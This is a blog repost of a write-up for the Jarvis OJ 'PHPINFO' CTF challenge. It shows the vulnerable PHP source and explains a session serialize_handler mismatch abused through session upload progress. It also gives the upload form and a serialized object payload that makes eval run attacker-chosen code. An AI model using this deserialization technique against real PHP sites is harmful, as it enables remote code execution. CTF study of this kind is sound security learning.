欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Jarvis OJ PHPINFO【审计代码反序列化】

程序员文章站 2022-05-16 22:30:28
...

原题地址:http://web.jarvisoj.com:32784/


其实这题一开始是没有任何思路的,感觉不存在任何数据传输接收点,后来看到了一篇wp,点这里

感觉瞬间打开了新世界,,,这里写篇write up记录下做题过程


首先打开题目页面直接获得源码:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');#ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。 
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

这题的突破点在哪里,没错,就是我备注的那块ini_set('session.serialize_handler', 'php');

查了下手册:

php大于5.5.4的版本中默认使用php_serialize规则


通过phpinfo页面,我们知道php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。这就导致了seesion的反序列化问题。

Jarvis OJ PHPINFO【审计代码反序列化】


由phpinfo()页面继续可知,session.upload_progress.enabled为On。

Jarvis OJ PHPINFO【审计代码反序列化】

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。

Jarvis OJ PHPINFO【审计代码反序列化】


但是,这时就有一个问题,在题目代码中,没有某个值是用来接受我们传入的数据,并储存到$_SESSION中的。

其实我们是有办法传入$_SESSION数据的,这里就利用到了|的反序列化问题

思路很明显了,我们需要构造一个上传和post同时进行的情况,代码如下:

<!DOCTYPE html>
<html>
<head>
	<title>test XXE</title>
	<meta charset="utf-8">
</head>
<body>
	<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><!-- 	

不对字符编码-->
	    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
	    <input type="file" name="file" />
	    <input type="submit" value="go" />
	</form>
</body>
</html>

注意enctype属性:

Jarvis OJ PHPINFO【审计代码反序列化】



接下来考虑序列化:

<?php
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
$a = serialize($obj);

var_dump($a);


#|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

注释是考虑到反转义,和序列化之后的结果,bp抓包,将file替换,结果如下:

Jarvis OJ PHPINFO【审计代码反序列化】


Jarvis OJ PHPINFO【审计代码反序列化】



进一步更改,可获得flag

Jarvis OJ PHPINFO【审计代码反序列化】


总结:多翻翻神奇的php手册,,,



上一篇: JarvisOJ Crypto

下一篇: JarvisOJ PWN